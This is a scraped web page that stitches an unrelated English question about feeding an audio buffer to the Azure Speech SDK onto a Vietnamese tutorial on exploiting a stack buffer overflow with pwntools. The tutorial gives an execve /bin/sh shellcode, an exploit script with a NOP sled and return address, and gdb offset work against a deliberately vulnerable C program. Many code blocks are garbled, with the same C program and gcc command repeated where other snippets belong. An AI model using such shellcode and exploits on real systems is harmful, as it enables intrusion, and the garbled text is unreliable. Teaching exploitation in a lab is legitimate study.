Hướng dẫn python audio buffer - bộ đệm âm thanh python

I am using azure speech to text service using python to process bunch of audios. In order to process the audios, These are the steps performed-

  1. Download audio from web server to local 'C:/audio' drive.
  2. Pass the path of downloaded audio to Speech SDK's - Audioconfig(filename ='C:/audio/my_audio.wav')

Rather than downloading to local machine, I want to get the file from server and pass it directly to speech to text service. For which,

  1. I stored the audio in

    #include 
    #include 
    
    int main(int argc, char *argv[]){
    	char array[64];
    	if(argc>1)
    		strcpy(array, argv[1]);
    }
    
    7 form in audio buffer like this-
    #include 
    #include 
    
    int main(int argc, char *argv[]){
    	char array[64];
    	if(argc>1)
    		strcpy(array, argv[1]);
    }
    
    8

  2. Then, I pass the audiobuffer to AudioConfig(filename = raw_audio) - It doesn't works. Because it expects a filepathIt doesn't works. Because it expects a filepath

Is there a way to pass audiobuffer to this service?

Configuration python code:

speech_config = speechsdk.SpeechConfig(subscription=speech_key, region=service_region)
audio_config = speechsdk.audio.AudioConfig(filename='C:/audios/audio1.wav')
speech_recognizer = speechsdk.SpeechRecognizer(speech_config=speech_config, audio_config=audio_config)  

Chào mọi người, nối tiếp phần 1, phần 2 mình sẽ thực hiện khai thác lỗi buffer overflow để lấy shell bằng cách sử dụng thư viện pwntools của python3. Dưới đây là mã C của chương trình khai thác phần trước.

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}

Các bạn compile chương trình bằng mã sau (phần 1):

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim

1. Giới thiệu về thư viện pwntools

  • Cách cài đặt trên python3
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

Các bạn có thể đọc thêm về thư viện ở đây: https://docs.pwntools.com/en/stable/install.html

  • Một số function cơ bản:

Packing, unpacking string:

  • p32(), p64(): packing 32bits và 64bits, ex:
    #include 
    #include 
    
    int main(int argc, char *argv[]){
    	char array[64];
    	if(argc>1)
    		strcpy(array, argv[1]);
    }
    
    9
  • u32(), u64(): unpacking 32bits và 64bits, ex:
    gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
    
    0

Assemble và disassemble code:

  • asm(): Ex:
    gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
    
    1
  • disasm(): Ex:
    gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
    
    2

2. Lấy shell với pwntools và shellcode

Mình có shellcode để tạo 1 shell như sau:

shellcode[]= "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
             "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

Trong series này mình sẽ hướng dẫn các bạn viết shellcode của riêng mình, tuy nhiên không phải ở bài này.

Tiến hành khai thác:

Như đã nói ở bài trước, sau khi dùng gdb để debug, ta tính toán ra số byte cần thêm vào buffer để điều khiển được con trỏ trả về (eip) trong ngăn xếp là:

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
3

Đầu tiên, mình tính toán số bytes của shellcode bằng printf và wc:

┌──(kali㉿kali)-[~]
└─$ printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | wc -c               
40

Vậy shellcode có độ dài là 40 bytes Sau đó mình tạo 1 file exploit.py để tiến hành khai thác:

exploit.py

from pwn import *

context.update(os = 'linux', arch='i386') #set os linux 32bits
shellcode = b"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" #40 bytes
eip = p32()
nops = b'\x90'*(76 - len(shellcode)- len(eip))


payload = nops + shellcode + eip
p = process(["./victim", payload])
p.interactive()

Tuy nhiên, chúng ta gặp 1 vấn đề, đó là địa chỉ trả về (return address cần được tính toán, trỏ về đầu shellcode (hoặc trỏ vào nop)). Nói 1 chút về nop,là 1 lệnh "không làm gì cả", khi gặp lệnh này, đơn giản sẽ trượt đến câu lệnh tiếp theo.

Nếu sử dụng gdb để debug, ta có thể biết được địa chỉ bắt đầu của buffer, tuy nhiên địa chỉ này và địa chỉ chạy trong chương trình python của chúng ta khác nhau, vì môi trương chạy khác nhau. Vì vậy mình sử dụng chương trình C dưới đây để tính toán độ lệnh giữa gdb và python.

find_start.c

// find_start.c
unsigned long find_start(void)
{
  __asm__("movl eax, esp");
}

int main()
{
   printf("0x%x\n",find_start());
}

Compile chương trình:

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
4

  • Tính toán find_start trong gdb: Mở gdb victim, tạo breakpoint và run chương trình như sau:
gef➤  b *main
Breakpoint 1 at 0x118d
gef➤  r ./find_start

Như vậy chương trình sẽ chạy với đối số là

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
5, ta cần biết giá trị của find_start lưu trong stack. Tiến hành disassemble main. Ta được:

gef➤  disassemble main
Dump of assembler code for function main:
=> 0x5655618d <+0>:     push   ebp
   0x5655618e <+1>:     mov    ebp,esp
   0x56556190 <+3>:     push   ebx
   0x56556191 <+4>:     sub    esp,0x40
   0x56556194 <+7>:     call   0x565561c5 <__x86.get_pc_thunk.ax>
   0x56556199 <+12>:    add    eax,0x2e5b
   0x5655619e <+17>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x565561a2 <+21>:    jle    0x565561bb 
   0x565561a4 <+23>:    mov    edx,DWORD PTR [ebp+0xc]
   0x565561a7 <+26>:    add    edx,0x4
   0x565561aa <+29>:    mov    edx,DWORD PTR [edx]
   0x565561ac <+31>:    push   edx
   0x565561ad <+32>:    lea    edx,[ebp-0x44]
   0x565561b0 <+35>:    push   edx
   0x565561b1 <+36>:    mov    ebx,eax
   0x565561b3 <+38>:    call   0x56556040 
   0x565561b8 <+43>:    add    esp,0x8
   0x565561bb <+46>:    mov    eax,0x0
   0x565561c0 <+51>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x565561c3 <+54>:    leave  
   0x565561c4 <+55>:    ret    
End of assembler dump.

Nhận thấy hàm strcpy@plt tại 0x565561b3. Tạo breakpoint ngay sau đó để xem kết quả, vì find_start được copy vào buffer.

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
0

Chạy tiếp chương trình, ta được kết quả trong stack như sau:

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
1

Như vậy trong gdb ./find_start =

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
6

Tiếp theo, chỉnh sửa 1 chút chương trình python để in ra kết quả find_start:

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
2

Kết quả như sau:

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
3

Vậy ./find_start trong python là 0xffffd138 => Độ lệnh giữa 2 môi trường là:

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
7 => python = gdb + 164

Tiếp theo, debug với gdb ta tìm được điểm bắt đầu của shellcode bằng cách chạy chương trình với 76 bytes input. r

gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim
8

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
4

Vậy kết quả trong gdb là 0xffffd054 => Oke, ta có chương trình python hoàn thiện như sau:

exploit.py

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
5

Kết quả nhận được:

#include 
#include 

int main(int argc, char *argv[]){
	char array[64];
	if(argc>1)
		strcpy(array, argv[1]);
}
6

Vậy là ta đã có được 1 shell. Trong phần tiếp theo, mình sẽ hướng dẫn cách lấy 1 shell với buffer nhỏ, không đủ chứa shell đầu vào.